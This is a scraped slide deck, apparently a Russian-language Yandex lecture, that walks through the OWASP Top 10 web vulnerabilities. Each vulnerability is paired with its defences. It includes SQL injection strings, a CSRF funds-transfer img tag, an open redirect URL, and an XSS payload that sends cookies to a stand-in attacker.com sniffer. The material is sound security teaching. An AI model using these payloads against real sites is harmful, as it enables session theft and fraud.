Upload
yandex
View
2.032
Download
6
Embed Size (px)
Citation preview
Тарас ИващенкоАдминистратор ИБ
Безопасность веб-приложений
4
Терминология
Угроза — это потенциально возможное событие, которое посредством воздействия на компоненты информационной системы (ИС) может привести к нанесению ущербаУязвимость — это свойство ИС, использование которой нарушителем может привести к реализации угрозыАтака — это любое действие нарушителя, которое приводит к реализации угрозы путём использования уязвимостей ИС
5
OWASP Top 10
OWASP — The Open Web Application Security ProjectOWASP Top 10 — «Топ» 10 самых критичных рисков безопасности веб-приложений
6
Веб-приложение использует входные данные при конструировании SQL-запросов к БД
String query = "SELECT * FROM accountsWHERE custID='"+ request.getParameter("id") +"'";
Инъекции
Злоумышленник подготовливает следующий URL
http://example.com/app/accountView?id=' or '1'='1
7
Инъекции. Защита
Параметризированные запросыЭскейпинг небезопасных данных перед использованием в SQL-запросе
8
Веб-приложение использует механизм сессий, основанный на использовании кук
GET /messages HTTP/1.1Host: victim.comCookie: session_id=857817;
Ошибки в реализации аутентификации и сессий (½)*
Злоумышленник перебирает сессионный идентификатор и получает доступ к сессиям пользователей
9
Ошибки в реализации аутентификации и сессий (2/2)
Фиксация сессийПерехват паролей в открытом виде«Угадывание» сессионных идентификаторовПередача сессионных идентификаторов как URL-параметрПеребор существующих учётных записей через форму логина
10
Ошибки в реализации аутентификации и сессий. Защита
Безопасная реализация механизмов аутентификации и управления сессиями — сложная задачаOWASP's Application Security Verifcation Standard: V2 (Authentication) and V3 (Session Management)
11
В веб-приложении при генерации страницы используются без предварительной обработки входные параметры
page += "<input name='creditcard' type='TEXT'value='" + request.getParameter("CC") + "'>";
Межсайтовый скриптинг (XSS) (1/2)
12
Злоумышленник, узнав про это, конструирует зловредную ссылку и заманивает на неё жертву
http://example.com/foo?CC='><script>document.location='http://attacker.com/sniffer.php?'%20+document.cookie</script>
Межсайтовый скриптинг (XSS) (2/2)
13 XSS
14
XSS. Защита
Валидация входных данных и их обработка («эскейпинг») при генерации страницВажен HTML-контекст (body, attribute, JavaScript, CSS, URL)!Внедрите Content Security PolicyHTTPOnly сессионные куки
15
Веб-приложение используют значение параметра acct для получения информации о состоянии счёта пользователя
String query = "SELECT * FROM acctsWHERE account = ?";PStatement pstmt = con.prepareStatement(query , ... );pstmt.setString(1, request.getParameter("acct"));ResultSet results = pstmt.executeQuery();
Небезопасное указание на внутренние объекты (1/2)
16
Злоумышленник, манипулируя значением acct, получает информацию других пользователей
http://example.com/app/accountInfo?acct=notmyacct
Небезопасное указание на внутренние объекты (2/2)
17
Небезопасное указание на внутренние объекты. Защита
Проверять авторизациюМинимизировать использование прямых указателей на системные объекты
18
Небезопасная конфигурация*
Ошибки безопасности при развёртывании и конфигурировании веб-окруженияbackup.tar.gz, предустановелненные учётные записи (DBSNMP/DBSNMP в Оракле), необновляемое ПО, забыли включить защиту от ...
19
Небезопасная конфигурация. Защита
Хорошо поставленный процесс развёртывания и конфигурирования веб-окруженияМаксимально автоматизированный + чеклистыРегулярные сканированияУстанавливайте обновления безопасности!
20
Раскрытие критичных данных*
Веб-приложение хранит критичную информацию в открытом виде в базеМы написали свой «суперстойкий» алгоритм шифрованияПароли «хэшируются, но не солятся»Критичная информация передаётся по открытому каналуСамоподписанные сертификаты
21
Раскрытие критичных данных. Рекомендации
Используйте стандартные реализации/библиотеки алгоритмов шифрованияПравильная настройка SSL: сертификаты, алгоритмы, Secure для сессионной куки, HSTSРегулярные сканирования
22 «Солите хэши»
23
У веб-приложения есть административная панель, доступ в которую ограничен только знанием «секретного адреса»
http://victim.com/nimda/
Ошибки авторизации*
Злоумышленник попросту «угадывает» URL и получает неавторизованный доступ!
24
Ошибки авторизации. Рекомендации
Правильно реализованные аутентификация и авторизация пользователейПолитики и ролиДоступ запрещён по умолчанию
25
Веб-приложение позволяет при переходе по обычной ссылке выполнять какое-нибудь действие
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
Межсайтовая подделка запросов (CSRF) (1/2)
26
Злоумышленник подготавливает специальный URL, при загрузке которого будет осуществлён перевод денег со счёта жертвы на его, и размещает его в виде картинки на популярном ресурсе
<img src="http://example.com/transferFunds?amount=1500&destinationAccount=attackersAcct#"width="0" height="0" />
CSRF (2/2)
27 CSRF
28
CSRF. Защита
Подписывание запросов специальными токенамиДополнительно к токенам рекомендуется все действия переводить на POST-запросПроверка источника запроса
29
Использование небезопасных компонент*
30
Использование небезопасных компонент. Рекомендации
Составьте список всех используемых сторонних компонентСледите за новостями и вовремя «обновляйтесь»Отключайте ненужную функциональностьВнедрите автоматизированные проверки
31
В веб-приложении используется скрипт «redirect.jsp», который принимает входным параметром «url» адрес, на который будет перенаправлен пользователь
http://www.example.com/redirect.jsp?url=evil.com
Открытое перенаправление
32 Открытое перенаправление
33
Открытое перенаправление. Защита
Не использовать редирект на внешние ресурсы«Страница подтверждения» для неизвестных адресов
34 Посмотреть
35
Информация к размышлению
Посмотреть на HTTP-трафик популярных веб-приложенийOWASP Top 10 clck.ru/8aC-Q2011 CWE/SANS Top 25 Most Dangerous Software Errors clck.ru/8aC-KOWASP WebGoat clck.ru/8aC-U